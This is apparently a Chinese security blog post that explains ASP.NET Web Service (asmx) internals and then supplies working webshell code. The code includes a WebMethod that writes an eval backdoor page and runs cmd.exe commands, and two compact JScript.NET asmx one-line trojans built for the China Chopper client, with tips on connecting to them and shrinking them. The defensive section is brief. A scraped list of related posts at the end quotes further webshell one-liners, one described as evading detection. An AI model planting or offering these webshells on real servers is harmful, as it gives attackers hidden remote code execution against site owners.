0x01 前言

上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款asmx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx ,依旧是一个大马如下图

这个还只是对客户端的菜刀做了适配可用,暂时不符合一句话木马的特点哈,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 asmx的运行过程。

0x02 简介和原理

Web Service是一个基于可编程的web的应用程序,用于开发分布式的互操作的应用程序,也是一种web服务,Web Service的主要目标是跨平台的可互操作性,为了实现这一目标Web Service 完全基于XML(可扩展标记语言)、XSD(XML Schema)等独立于平台、独立于软件供应商的标准,是创建可互操作的、分布式应用程序的新平台。简单的来说Web Service具备三个要素SOAP(Simple Object Access Protocol)、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)之一, SOAP用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发查询webService ,也因此使用Web Service有许多优点,例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下WebService工作的流程

无论使用什么工具、语言编写 WebService,都可以使用 SOAP 协议通过 HTTP 调用,创建 WebService 后,任何语言、平台的客户都可以阅读 WSDL 文档来调用 WebService ,同时客户端也可以根据 WSDL 描述文档生成一个 SOAP 请求信息并发送到Web服务器,Web服务器再将请求转发给 WebService 请求处理器。

对于.Net而言,WebService请求处理器则是一个 .NET Framework 自带的 ISAPI Extension。Web请求处理器用于解析收到的SOAP请求,调用 WebService,然后生成相应的SOAP应答。Web服务器得到SOAP应答后,在通过HTTP应答的方式将其返回给客户端,但WebService也支持HTTP POST请求,仅需要在服务端增加一项配置即可。

0x03 一句话的实现

3.1、WebMethod

在Web Service程序中,如果一个公共方法想被外界访问调用的话,就需要加上WebMethod,加上[WebMethod]属性的公有方法就可以被访问,而没有加这个属性的方法就是不能被访问的。将 WebMethod 属性 (Attribute) 附加到 Public 方法表示希望将该方法公开为 XML Web services 的一部分,它具备6个属性:Description 、EnableSession、MessageName、TransactionOption、CacheDuration、BufferResponse,为了更清晰的表述WebService请看下面这段代码

这里声明成一个字符串类型的公共方法HelloWorld,如果此时在方法体内实现创建aspx文件,保存内容为一句话小马的话那么这个WebService就变成了服务后门,依照这个推理就产生了C#版本的WebService小马,实现了两个功能,一个是创建文件,还有一个是执行CMD命令,核心代码如下:

[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
/**
Create A BackDoor
**/
public string webShell()
{
StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx"));
wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>");
wickedly.Flush();
wickedly.Close();
return "Wickedly";
}
[WebMethod]
/**
Exec Command via cmdShell
**/
public string cmdShell(string input)
{
Process pr = new Process();
pr.StartInfo.FileName = "cmd.exe";
pr.StartInfo.RedirectStandardOutput = true;
pr.StartInfo.UseShellExecute = false;
pr.StartInfo.Arguments = "/c " + input;
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
String ocmd = osr.ReadToEnd();
osr.Close();
osr.Dispose();
return ocmd;
}

知道原理后就开始着手打造菜刀可用的一句话木马,和一般处理程序类似通过Jscript.Net的eval方法去实现代码执行,根据之前的介绍WebMethod有多个属性并且根据微软的官方文档 https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29 可以得出Jscript.Net中可以使用 WebMethodAttribute 来替代[WebMethod]。

一句话实现的代码如下:

<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}

打开浏览器,测试效果如下

依照SOAP1.1的规范要求,发送请求的数据包就可以实现一句话代码执行,笔者这里还是拿当前的时间作为攻击载荷,如下图

3.2、ScriptMethod

在研究WebMethod的时候,发现VisualStudio有段注释如下图

当客户端请求的方式是AJAX的时候会导入System.Web.Script.Services.ScriptService命名空间,笔者尝试去挖掘一下可能存在的新的攻击点

代码里ResponseFormat表示方法要返回的类型,一般为Json或者XML; UseHttpGet等于true表示前台的ajax是通过GET可以访问此方法,如果前台ajax通过POST,则报错。

根据C#中的代码可知需要配置WebMethod和ScriptMethod才能正常玩转,而在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类,最终写出一句话木马服务端代码:

<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}

打开浏览器输入 Response.Write(DateTime.Now) 成功打印出当前时间

可惜的是这种方法不支持.NET  2.0究其原因是using System.Web.Script.Services;这个命名空间并不在System.Web中,而是在ajax扩展中需要额外安装ASP.NET 2.0 AJAX Extensions,所以在2.0的环境下尽量避免使用该方法。

0X04 菜刀连接

菜刀不支持SOAP的方式提交payload,直接连接asmx文件就会出现下图错误

第一种解决方法可以自己写代码实现支持SOAP的客户端,第二种办法参考asmx页面最下方给出的HTTP POST提交方式

本地环境下用菜刀连接没问题,可以正常连接

但通常部署到服务器上可能会遇到下面的提示

多数情况下程序开发者会支持HTTP POST请求,所以对此不必过于担心。还有就是基于优化考虑将asmxWebMethodSpy.asmx进一步压缩体积后只有499个字节,asmxScriptMethodSpy.asmx也只有547个字节。

0x05 防御措施

通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;对于Web应用来说,尽量保证代码的安全性;对于IDS规则层面来说,上传的时候可以加入WebMethodAttribute等关键词的检测

0x06 小结

还有本文提供了两种方式实现asmx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;文章的代码片段请参考 https://github.com/Ivan1ee

0x07 参考链接

https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29

https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx

https://www.cnblogs.com/bpdwn/p/3479421.html

https://github.com/Ivan1ee

 

 

探索基于.NET下实现一句话木马之asmx篇的更多相关文章

  1. 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)

    黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...

  2. 探索基于.NET下实现一句话木马之ashx篇

    0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...

  3. 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  4. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  5. 一句话木马:ASPX篇

    aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...

  6. 一句话木马:JSP篇

    JSP一句话收集: <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(applicatio ...

  7. 一句话木马:PHP篇

    珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...

  8. CMD命令下图片合成一句话木马命令

    非常简单,我们只需要一张图片1.jpg一句话木马写好的php文件 1.php之后我们进入到命令行.注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下之后执行命令 copy .j ...

  9. web攻防环境--一句话木马

    任务一.基于centos7搭建dvwa web服务靶机 1.在centos7安装LAMP并启动,访问phpinfo页面 也即安装httpd.php.mysql服务. 直接进行yum安装即可,完成后检查 ...

随机推荐

  1. [ES]elasticsearch章1 ES各角色的分工

    es集群里的master node.data node和client node到底是怎么个意思,分别有何特点? master节点 主要功能是维护元数据,管理集群各个节点的状态,数据的导入和查询都不会走 ...

  2. jquery或者JavaScript调用WCF服务的方法

    /****************************************************************** * Copyright (C): 一心堂集团 * CLR版本: ...

  3. 销售vs技术岗,做技术的方法思考

    销售甚至比技术岗位挣得还多,当然,做技术的比较好的拿到的自然也多. 我在想个问题,技术的天然优势是可以不断地积累,包括写code,写博客,做流程,完善流程,自动化流程,或者把某些工作流程化,自动化,托 ...

  4. 【Game】2048小游戏

    每个男孩都有一个游戏梦吧,本例简单讲述一款很火的游戏<2048>的制作. 本例参考地址:https://www.imooc.com/learn/76 游戏准备 1.游戏的逻辑(2048大家 ...

  5. css兼容技巧

    CSS兼容常用技巧 请尽量用xhtml格式写代码,而且DOCTYPE影响 CSS 处理,作为W3C标准,一定要加DOCTYPE声明. 1.div的垂直居中问题 vertical-align:middl ...

  6. 20 模块之 re subprocess

    re: 什么是正则: 正则就是用一些具有特殊含义的符号组合到一起(称为正则表达式)来描述字符或者字符串的方法.或者说:正则就是用来描述一类事物的规则.(在Python中)它内嵌在Python中,并通过 ...

  7. scope属性

    scope属性 1.<bean>属性 2.作用:控制对象有效范围(单例.多例等) 3.<bean/> 标签对应的对象默认是单例的 3.1 无论获取多少次,都是同一个对象 4.s ...

  8. C++ MFC棋牌类小游戏day1

    好用没用过C++做一个完整一点的东西了,今天开始希望靠我这点微薄的技术来完成这个小游戏. 我现在的水平应该算是菜鸟中的战斗鸡了,所以又很多东西在设计和技术方面肯定会有很大的缺陷,我做这个小游戏的目的单 ...

  9. s4-4 以太网概述

    以太网所处的位置 以太网的发展史 1973 Robert Metcalfe及其同事设计了以太网雏形(施乐公司) 1980 DIX发布最早的以太网标准,开放标准 1985 IEEE802.3对以太网作了 ...

  10. 关于CSS的优先级,CSS优先级计算,多个class引用

    原则一: 继承不如指定 原则二: #id > .class > 标签选择符 原则三:越具体越强大 原则四:标签#id >#id ; 标签.class > .class CSS优 ...